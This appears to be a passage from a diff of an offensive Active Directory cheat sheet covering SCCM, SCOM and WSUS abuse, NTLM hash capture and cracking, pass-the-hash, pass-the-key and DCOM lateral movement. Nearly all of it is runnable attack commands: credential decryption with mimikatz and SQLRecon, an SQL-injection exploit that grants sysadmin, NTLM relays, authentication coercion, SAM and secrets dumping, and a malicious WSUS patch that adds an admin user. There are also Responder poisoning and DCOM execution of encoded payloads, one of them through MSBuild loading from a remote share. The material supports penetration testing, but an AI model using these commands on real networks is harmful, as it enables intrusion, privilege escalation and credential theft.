Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Format-List -Property PSPath,sddl
ConvertFrom-SddlString ""
```
### CRED-5 Extract the SC_UserAccount table from the site database
* [Misconfiguration-Manager - CRED-5](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-5/cred-5_description.md)
**Requirements**:
* Site database access
* Primary site server access
* Access to the private key used for encryption
**Exploitation**:
* [gentilkiwi/mimikatz](https://twitter.com/gentilkiwi/status/1392204021461569537)
```ps1
mimikatz # misc::sccm /connectionstring:"DRIVER={SQL Server};Trusted=true;DATABASE=ConfigMgr_CHQ;SERVER=CM1;"
```
* [skahwah/SQLRecon](https://github.com/skahwah/SQLRecon), only if the site server and database are hosted on the same system
```ps1
SQLRecon.exe /auth:WinToken /host:CM1 /database:ConfigMgr_CHQ /module:sDecryptCredentials
```
* SQLRecon + [xpn/sccmdecryptpoc.cs](https://gist.github.com/xpn/5f497d2725a041922c427c3aaa3b37d1)
```ps1
SQLRecon.exe /auth:WinToken /host:<SITE-DB> /database:CM_<SITECODE> /module:query /command:"SELECT * FROM SC_UserAccount"
sccmdecryptpoc.exe 0C010000080[...]5D6F0
```
### Unauthenticated SQL Injection - CVE-2024-43468
* [synacktiv/CVE-2024-43468](https://github.com/synacktiv/CVE-2024-43468) - Microsoft Configuration Manager (ConfigMgr / SCCM) 2403 Unauthenticated SQL injections (CVE-2024-43468) exploit
```ps1
$ CVE-2024-43468.py -t cmc.corp.local -sql "create login [CORP\user1] from windows ; exec master.dbo.sp_addsrvrolemember [CORP\user1], 'sysadmin'"
$ mssqlclient.py -debug -windows-auth 'CORP/user1:xxx'@cmc-db.corp.local
SQL> select name from sysdatabases where name like 'CM_%'
```
## SCCM Relay
### TAKEOVER1 - Low Privileges to Database Administrator - MSSQL relay
**Requirements**:
* Database separated from the site server
* Server site is sysadmin of the database
**Exploitation**:
* Generate the query to elevate our user:
```ps1
python3 sccmhunter.py mssql -u carol -p SCCMftw -d sccm.lab -dc-ip 192.168.33.10 -debug -tu carol -sc P01 -stacked
```
* Setup a relay with the generated query:
```ps1
ntlmrelayx.py -smb2support -ts -t mssql://192.168.33.12 -q "USE CM_P01; INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (0x01050000000000051500000058ED3FD3BF25B04EDE28E7B85A040000,'SCCMLAB\carol',0,0,'','','','','P01');INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00ALL','29');INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00001','1'); INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'SCCMLAB\carol'),'SMS0001R','SMS00004','1');"
```
* Coerce an authentication to your listener using a domain account:
```ps1
petitpotam.py -d sccm.lab -u carol -p SCCMftw 192.168.33.1 192.168.33.11
```
* Finally, connect as admin on the MSSQL server:
```ps1
python3 sccmhunter.py admin -u carol@sccm.lab -p 'SCCMftw' -ip 192.168.33.11
```
### TAKEOVER2 - Low Privileges to MECM Admin Account - SMB relay
Microsoft requires the site server's computer account to be an administrator on the MSSQL server.
**Exploitation**:
* Start a listener for the MSSQL Server: `ntlmrelayx -t 192.168.33.12 -smb2support -socks`
* Coerce an authentication from the Site Server using domain credentials (low privileges SCCM NAA retrieved on the same machine works great): `petitpotam.py -d sccm.lab -u sccm-naa -p 123456789 192.168.33.1 192.168.33.11`
* Finally use the SOCKS from `ntlmrelayx` to access the MSSQL server as a local administrator
```ps1
proxychains -q smbexec.py -no-pass SCCMLAB/'MECM$'@192.168.33.12
proxychains -q secretsdump.py -no-pass SCCMLAB/'MECM$'@192.168.33.12
```
### ELEVATE 2 - NTLM Relay with Automatic Client Push Authentication
**Requirements**:
* Automatic site-wide client push installation enabled
* Automatic site device approval
* Fallback authentication to NTLM
**Exploitation**:
```ps1
SharpSCCM.exe invoke client-push -t 192.168.1.50
ntlmrelayx.py -t mssql01.lab.lan -smb2support
```
## SCCM Persistence
* [mandiant/CcmPwn](https://github.com/mandiant/CcmPwn) - lateral movement script that leverages the CcmExec service to remotely hijack user sessions.
CcmExec is a service native to SCCM Windows clients that is executed on every interactive session. This technique requires Adminsitrator privileges on the targeted machine.
* Backdoor the `SCNotification.exe.config` to load your DLL
```ps1
python3 ccmpwn.py domain/user:password@workstation.domain.local exec -dll evil.dll -config exploit.config
```
* Malicious config to force `SCNotification.exe` to load a file from an attacker-controlled file share
```ps1
python3 ccmpwn.py domain/user:password@workstation.domain.local coerce -computer 10.10.10.10
```
## References
* [Attacking and Defending Configuration Manager - An Attackers Easy Win - Logan Goins - April 25, 2025](https://logan-goins.com/2025-04-25-sccm/)
* [Decrypting the Forest From the Trees - Garrett Foster - March 6, 2025](https://specterops.io/blog/2025/03/06/decrypting-the-forest-from-the-trees/)
* [Exploiting RBCD Using a Normal User Account - tiraniddo.dev - May 13, 2022](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html)
* [Exploring SCCM by Unobfuscating Network Access Accounts - @_xpn_ - July 9, 2022](https://blog.xpnsec.com/unobfuscating-network-access-accounts/)
* [Further Adventures With CMPivot — Client Coercion - Diego Lomellini - February 3, 2025](https://posts.specterops.io/further-adventures-with-cmpivot-client-coercion-38b878b740ac)
* [Introducing ConfigManBearPig, a BloodHound OpenGraph Collector for SCCM - Chris Thompson - January 13, 2026](https://specterops.io/blog/2026/01/13/introducing-configmanbearpig-a-bloodhound-opengraph-collector-for-sccm/)
* [Introducing MalSCCM - Phil Keeble -May 4, 2022](https://labs.nettitude.com/blog/introducing-malsccm/)
* [Misconfiguration Manager: Overlooked and Overprivileged - Duane Michael - March 5, 2024](https://posts.specterops.io/misconfiguration-manager-overlooked-and-overprivileged-70983b8f350d)
* [Network Access Accounts are evil… - Roger Zander - September 13, 2015](https://rzander.azurewebsites.net/network-access-accounts-are-evil/)
* [Relaying NTLM Authentication from SCCM Clients - Chris Thompson - June 30, 2022](https://posts.specterops.io/relaying-ntlm-authentication-from-sccm-clients-7dccb8f92867)
* [SCCM / MECM LAB - Part 0x0 - mayfly - March 23, 2024](https://mayfly277.github.io/posts/SCCM-LAB-part0x0/)
* [SCCM / MECM LAB - Part 0x1 - Recon and PXE - mayfly - March 28, 2024](https://mayfly277.github.io/posts/SCCM-LAB-part0x1/)
* [SCCM / MECM LAB - Part 0x2 - Low user - mayfly - March 28, 2024](https://mayfly277.github.io/posts/SCCM-LAB-part0x2/)
* [SCCM / MECM LAB - Part 0x3 - Admin User - mayfly - April 3, 2024](https://mayfly277.github.io/posts/SCCM-LAB-part0x3/)
* [SeeSeeYouExec: Windows Session Hijacking via CcmExec - Andrew Oliveau - March 28, 2024](https://cloud.google.com/blog/topics/threat-intelligence/windows-session-hijacking-via-ccmexec?hl=en)
* [The Phantom Credentials of SCCM: Why the NAA Wont Die - Duane Michael - June 28, 2022](https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9)

View File

@@ -0,0 +1,62 @@
# Deployment - SCOM
> Microsoft SCOM (System Center Operations Manager) is a monitoring tool used to oversee the health and performance of servers, applications, and infrastructure in IT environments. It collects data from systems, generates alerts for issues, and provides dashboards and reports for administrators.
## Tools
* [breakfix/SharpSCOM](https://github.com/breakfix/SharpSCOM) - A C# utility for interacting with SCOM.
* [nccgroup/SCOMDecrypt](https://github.com/nccgroup/SCOMDecrypt) - SCOMDecrypt is a tool to decrypt stored RunAs credentials from SCOM servers.
## SCOM “RunAs” credentials
### Recovery from SCOM database
The location of the SCOM database containing the RunAs credentials can be found by querying the following registry keys:
```ps1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName
```
Decrypt the stored credentials stored inside the SCOM management server database:
```ps1
.\SCOMDecrypt.exe
powershell-import C:\path\to\SCOMDecrypt.ps1
powershell Invoke-SCOMDecrypt
```
### Recovery via Registry
Stored at `HKLM\SYSTEM\CurrentControlSet\Services\HealthService\Parameters\Management Groups\$MANAGEMENT_GROUP$\SSDB\SSIDs\`.
```ps1
.\SharpSCOM.exe DecryptRunAs
```
### Recovery via Policy File
Use DPAPI to decrypt the RunAs credential from the policy.
```ps1
cat C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Connector Configuration Cache\$MANAGEMENT_GROUP_NAME$\OpsMgrConnector.Config
SharpSCOM DecryptPolicy /data:<base64-encrypted-data>
```
### Recovery after enrolling a new agent
**Requirements**:
* Management group name: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HealthService\Parameters\Management Groups\*`
```ps1
SharpSCOM.exe autoenroll /managementgroup:SCOM1 /server:scom.domain.lab /hostname:fake1.domain.lab /outfile:C:\Users\admin\desktop\policy_new.xml
# After enrolling a new agent, the attacker can decrypt the policy
SharpSCOM.exe decryptpolicy /data:"DAEAAA<REDACTED> /key:<RSAKeyValue><Modulus><REDACTED></D></RSAKeyValue>
```
## References
* [SCOMmand And Conquer Attacking System Center Operations Manager (Part 2) - Matt Johnson - December 10, 2025](https://specterops.io/blog/2025/12/10/scommand-and-conquer-attacking-system-center-operations-manager-part-2/)
* [SCOMplicated? Decrypting SCOM “RunAs” credentials - Rich Warren - February 23, 2017](https://www.nccgroup.com/research-blog/scomplicated-decrypting-scom-runas-credentials/)

View File

@@ -0,0 +1,14 @@
# Deployment - WSUS
> Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network
:warning: The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.
* [SharpWSUS](https://github.com/nettitude/SharpWSUS)
1. Locate using `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate` or `SharpWSUS.exe locate`
2. After WSUS Server compromise: `SharpWSUS.exe inspect`
3. Create a malicious patch: `SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"`
4. Deploy it on the target: `SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"`
5. Check status deployment: `SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local`
6. Clean up: `SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group`

View File

@@ -0,0 +1,135 @@
# Hash - Capture and Cracking
## LmCompatibilityLevel
LmCompatibilityLevel is a Windows security setting that determines the level of authentication protocol used between computers. It specifies how Windows handles NTLM and LAN Manager (LM) authentication protocols, impacting how passwords are stored and how authentication requests are processed. The level can range from 0 to 5, with higher levels generally providing more secure authentication methods.
```ps1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel
```
* **Level 0** - Send LM and NTLM response; never use NTLM 2 session security. Clients use LM and NTLM authentication, and never use NTLM 2 session security; domain controllers accept LM, NTLM, and NTLM 2 authentication.
* **Level 1** - Use NTLM 2 session security if negotiated. Clients use LM and NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication.
* **Level 2** - Send NTLM response only. Clients use only NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication.
* **Level 3** - Send NTLM 2 response only. Clients use NTLM 2 authentication, and use NTLM 2 session security if the server supports it; domain controllers accept LM, NTLM, and NTLM 2 authentication.
* **Level 4** - Domain controllers refuse LM responses. Clients use NTLM authentication, and use NTLM 2 session security if the server supports it; domain controllers refuse LM authentication (that is, they accept NTLM and NTLM 2).
* **Level 5** - Domain controllers refuse LM and NTLM responses (accept only NTLM 2). Clients use NTLM 2 authentication, use NTLM 2 session security if the server supports it; domain controllers refuse NTLM and LM authentication (they accept only NTLM 2).A client computer can only use one protocol in talking to all servers. You cannot configure it, for example, to use NTLM v2 to connect to Windows 2000-based servers and then to use NTLM to connect to other servers. This is by design.
## Capturing Net-NTLMv1/NTLMv1 hashes
> Net-NTLMv1 (NTLMv1) authentication tokens are used for network authentication. They are derived from a challenge/response DES-based algorithm with the user's NT-hash as symetric keys.
:information_source: Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to **NetNTLMv1 Challenge/Response authentication**. This uses the outdated encryption method DES to protect the NT/LM Hashes.
**Requirements**:
* `LmCompatibilityLevel = 0x1`: Send LM and NTLM response
**Exploitation**:
* Capturing using [lgandx/Responder](https://github.com/lgandx/Responder): Edit the `/etc/responder/Responder.conf` file to include the magical **1122334455667788** challenge
```ps1
HTTPS = On
DNS = On
LDAP = On
...
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788
```
* Fire Responder: `responder -I eth0 --lm`, if `--disable-ess` is set, extended session security will be disabled for NTLMv1 authentication
* Force a callback:
```ps1
PetitPotam.exe Responder-IP DC-IP # Patched around August 2021
PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users
```
## Cracking Net-NTLMv1/NTLMv1 hashes
* If you got some `NetNTLMv1 tokens`, you can try to **shuck** them online via [shuck.sh](https://shuck.sh/) or locally/on-premise via [ShuckNT](https://github.com/yanncam/ShuckNT/) to get NT-hashes corresponding from [HIBP database](https://haveibeenpwned.com/Passwords). If the NT-hash has previously leaked, the NetNTLMv1 is converted to NT-hash ([pass-the-hash](./hash-pass-the-hash.md) ready) instantly. The [shucking process](https://www.youtube.com/watch?v=OQD3qDYMyYQ) works for any NetNTLMv1 with or without ESS/SSP (challenge != `1122334455667788`) but mainly for user account (plaintext previsouly leaked).
```ps1
# Submit NetNTLMv1 online to https://shuck.sh/get-shucking.php
# Or shuck them on-premise via ShuckNT script:
$ php shucknt.php -f tokens-samples.txt -w pwned-passwords-ntlm-reversed-ordered-by-hash-v8.bin
[...]
10 hashes-challenges analyzed in 3 seconds, with 8 NT-Hash instantly broken for pass-the-hash and 1 that can be broken via crack.sh for free.
[INPUT] ycam::ad:DEADC0DEDEADC0DE00000000000000000000000000000000:70C249F75FB6D2C0AC2C2D3808386CCAB1514A2095C582ED:1122334455667788
[NTHASH-SHUCKED] 93B3C62269D55DB9CA660BBB91E2BD0B
```
* If you got some `NetNTLMv1 tokens`, you can also try to crack them via [crack.sh](https://crack.sh/)/[ntlmv1.com](https://ntlmv1.com/). For this you need to format them to submit them on [crack.sh](https://crack.sh/netntlm/)/[ntlmv1.com](https://ntlmv1.com/). The converter of [shuck.sh](https://shuck.sh/) can be used to format easily.
```ps1
# When there is no-ESS/SSP and the challenge is set to 1122334455667788, it's free (0$):
username::hostname:response:response:challenge -> NTHASH:response
NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972
# When there is ESS/SSP or challenge != 1122334455667788, it's chargeable from $20-$200:
username::hostname:lmresponse+0padding:ntresponse:challenge -> $NETNTLM$challenge$ntresponse
$NETNTLM$DEADC0DEDEADC0DE$507E2A2131F4AF4A299D8845DE296F122CA076D49A80476E
```
* Finaly, if no [shuck.sh](https://shuck.sh/) nor [crack.sh](https://crack.sh/) can be used, you can try to break NetNTLMv1 with Hashcat / John The Ripper. Use [Net-NTLMv1 Rainbow Tables](https://tables.blurbdust.pw/) to speed up the plain text recovery.
```ps1
john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt # for NetNTLMv1(-ESS/SSP) to plaintext (for user account)
hashcat -m 27000 -a 0 hash.txt nthash-wordlist.txt # for NetNTLMv1(-ESS/SSP) to NT-hash (for user and computer account, depending on nthash-wordlist quality)
hashcat -m 14000 -a 3 inputs.txt --hex-charset -1 /usr/share/hashcat/charsets/DES_full.hcchr ?1?1?1?1?1?1?1?1 # for NetNTLMv1(-ESS/SSP) to DES-keys (KPA-attack) of user/computer account with 100% success rate, then regenerate NT-hash with these DES-keys on https://shuck.sh/converter.php.
```
* Now you can DCSync using the Pass-The-Hash with the DC machine account
:warning: NetNTLMv1 with ESS / SSP (Extended Session Security / Security Support Provider) changes the final challenge by adding a new alea (!= `1122334455667788`, so chargeable on [crack.sh](https://crack.sh/)).
:warning: NetNTLMv1 format is `login::domain:lmresp:ntresp:clientChall`. If the `lmresp` contains a **0's-padding** this means that the token is protected by **ESS/SSP**.
:warning: NetNTLMv1 final challenge is the Responder's challenge itself (`1122334455667788`) when there is no ESS/SSP. If ESS/SSP is enabled, the final challenge is the first 8 bytes of the MD5 hash from the concatenation of the client challenge and server challenge. The details of the algorithmic generation of a NetNTLMv1 are illustrated on the [shuck.sh Generator](https://shuck.sh/generator.php) and detailed in [MISCMag#128](https://connect.ed-diamond.com/misc/misc-128/shuck-hash-before-trying-to-crack-it).
:warning: If you get some tokens from other tools ([OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) or [moxie0/chapcrack](https://github.com/moxie0/chapcrack)) in other formats, like tokens starting with the prefix `$MSCHAPv2$`, `$NETNTLM$` or `$99$`, they correspond to a classic NetNTLMv1 and can be converted from one format to another [here](https://shuck.sh/converter.php).
**Mitigations**:
* Set the Lan Manager authentication level to `Send NTLMv2 responses only. Refuse LM & NTLM`
## Capturing and cracking Net-NTLMv2/NTLMv2 hashes
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.
* [lgandx/Responder](https://github.com/lgandx/Responder)
```powershell
sudo ./Responder.py -I eth0 -wfrd -P -v
```
* [Kevin-Robertson/Inveigh](https://github.com/Kevin-Robertson/Inveigh)
```powershell
.\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LLMNRv6 Y [-Elevated N]
```
* [EmpireProject/Invoke-Inveigh.ps1](https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Invoke-Inveigh.ps1)
```powershell
Invoke-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y mDNS Y Proxy Y -MachineAccounts Y
```
Crack the hashes with Hashcat / John The Ripper
```ps1
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
```
## References
* [NTLMv1_Downgrade.md - S3cur3Th1sSh1t - 09/07/2021](https://gist.github.com/S3cur3Th1sSh1t/0c017018c2000b1d5eddf2d6a194b7bb)
* [Practical Attacks against NTLMv1 - Esteban Rodriguez - September 15, 2022](https://trustedsec.com/blog/practical-attacks-against-ntlmv1)
* [Attacking LM/NTLMv1 Challenge/Response Authentication - defence in depth - April 21, 2011](http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse_21.html)
* [CRACKING NETLM/NETNTLMV1 AUTHENTICATION - crack.sh](https://crack.sh/netntlm/)
* [NTLMv1 to NTLM Reversing - evilmog - 03-03-2020](https://hashcat.net/forum/thread-9009-post-47806.html)

View File

@@ -0,0 +1,26 @@
# Hash - OverPass-the-Hash
> In this technique, instead of passing the hash directly, we use the NT hash of an account to request a valid Kerberost ticket (TGT).
## Using impacket
```bash
root@kali:~$ python ./getTGT.py -hashes ":1a59bd44fe5bec39c44c8cd3524dee" lab.ropnop.com
root@kali:~$ export KRB5CCNAME="/root/impacket-examples/velociraptor.ccache"
root@kali:~$ python3 psexec.py "jurassic.park/velociraptor@labwws02.jurassic.park" -k -no-pass
root@kali:~$ ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
root@kali:~$ kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
root@kali:~$ klist
```
## Using Rubeus
```powershell
# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt
# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe
```

View File

@@ -0,0 +1,49 @@
# Hash - Pass the Hash
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that werent the built-in RID 500.
* Metasploit
```powershell
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
```
* netexec
```powershell
nxc smb 10.2.0.2/24 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
```
* Impacket suite
```powershell
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
```
* Windows RDP and mimikatz
```powershell
sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the users ntlm hash> /run:"mstsc.exe /restrictedadmin"
```
You can extract the local **SAM database** to find the local administrator hash :
```powershell
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```
## References
* [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/)

View File

@@ -0,0 +1,58 @@
# Hash - Pass The Key
Pass The Key allows attackers to gain access to systems by using a valid session key instead of the user's password or NTLM hash. This technique is related to other credential-based attacks like Pass The Hash (PTH) and Pass The Ticket (PTT) but specifically uses session keys to authenticate.
Pre-authentication requires the requesting user to provide a secret key, which is derived from their password and may use encryption algorithms such as DES, RC4, AES128, or AES256.
* **RC4**: ARCFOUR-HMAC-MD5 (23), in this format, this is the NTLM hash, go to **Pass The Hash** to use it directly and **Over Pass The Hash** page to request a TGT from it.
* **DES**: DES3-CBC-SHA1 (16), should not be used anymore and have been deprecated since 2018 ([RFC 8429](https://www.rfc-editor.org/rfc/rfc8429)).
* **AES128**: AES128-CTS-HMAC-SHA1-96 (17), both AES encryption algorithms can be used with Impacket and Rubeus tools.
* **AES256**: AES256-CTS-HMAC-SHA1-96 (18)
In the past, there were more encryptions methods, that have now been deprecated.
| enctype | weak?| krb5 | Windows |
| -------------------------- | ---- | ------ | ------- |
| des-cbc-crc | weak | <1.18 | >=2000 |
| des-cbc-md4 | weak | <1.18 | ? |
| des-cbc-md5 | weak | <1.18 | >=2000 |
| des3-cbc-sha1 | | >=1.1 | none |
| arcfour-hmac | | >=1.3 | >=2000 |
| arcfour-hmac-exp | weak | >=1.3 | >=2000 |
| aes128-cts-hmac-sha1-96 | | >=1.3 | >=Vista |
| aes256-cts-hmac-sha1-96 | | >=1.3 | >=Vista |
| aes128-cts-hmac-sha256-128 | | >=1.15 | none |
| aes256-cts-hmac-sha384-192 | | >=1.15 | none |
| camellia128-cts-cmac | | >=1.9 | none |
| camellia256-cts-cmac | | >=1.9 | none |
Microsoft Windows releases Windows 7 and later disable single-DES enctypes by default.
Either use the AES key to generate a ticket with `ticketer`, or request a new TGT using `getTGT.py` script from Impacket.
## Generate a new ticket
* [fortra/impacket/ticketer.py](https://github.com/fortra/impacket/blob/master/examples/ticketer.py)
```powershell
impacket-ticketer -aesKey 2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 -domain lab.local Administrator -domain-sid S-1-5-21-2218639424-46377867-3078535060
```
## Request a TGT
* [fortra/impacket/getTGT.py](https://github.com/fortra/impacket/blob/master/examples/getTGT.py)
```powershell
impacket-getTGT -aesKey 2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 lab.local
```
* [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
```powershell
.\Rubeus.exe asktgt /user:Administrator /aes128 bc09f84dcb4eabccb981a9f265035a72 /ptt
.\Rubeus.exe asktgt /user:Administrator /aes256:2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 /opsec /ptt
```
## References
* [MIT Kerberos Documentation - Encryption types](https://web.mit.edu/kerberos/krb5-1.18/doc/admin/enctypes.html)

View File

@@ -0,0 +1,117 @@
# Internal - DCOM
> DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.
* [impacket/dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py)
```ps1
dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...]
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>'
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>' 'ipconfig'
python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe'
# -object MMC20 specifies that we wish to instantiate the MMC20.Application object.
# -silentcommand executes the command without attempting to retrieve the output.
```
* [klezVirus/CheeseTools](https://github.com/klezVirus/CheeseTools)
```powershell
# https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
-t, --target=VALUE Target Machine
-b, --binary=VALUE Binary: powershell.exe
-a, --args=VALUE Arguments: -enc <blah>
-m, --method=VALUE Methods: MMC20Application, ShellWindows,
ShellBrowserWindow, ExcelDDE, VisioAddonEx,
OutlookShellEx, ExcelXLL, VisioExecLine,
OfficeMacro
-r, --reg, --registry Enable registry manipulation
-h, -?, --help Show Help
Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro.
```
* [rvrsh3ll/Misc-Powershell-Scripts/Invoke-DCOM.ps1](https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1)
```powershell
Import-Module .\Invoke-DCOM.ps1
Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command "calc.exe"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command "calc.exe"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.exe"
```
## DCOM via MMC Application Class
This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named **"ExecuteShellCommand"** under **Document.ActiveView**.
```ps1
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1"))
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7)
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7")
# Weaponized example with MSBuild
PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",$null,"\\10.10.10.2\webdav\build.xml","7")
```
[n0tty/powershellery/Invoke-MMC20RCE.ps1](https://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1)
## DCOM via Office
* Excel.Application
* DDEInitiate
* RegisterXLL
* Outlook.Application
* CreateObject->Shell.Application->ShellExecute
* CreateObject->ScriptControl (office-32bit only)
* Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window)
* Addons
* ExecuteLine
* Word.Application
* RunAutoMacro
```ps1
# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM
Invoke-Excel4DCOM64.ps1 https://gist.github.com/Philts/85d0f2f0a1cc901d40bbb5b44eb3b4c9
Invoke-ExShellcode.ps1 https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a
# Using Excel DDE
PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS C:\> $excel.DisplayAlerts = $false
PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe")
# Using Excel RegisterXLL
# Can't be used reliably with a remote target
Require: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Locations /v AllowsNetworkLocations /t REG_DWORD /d 1
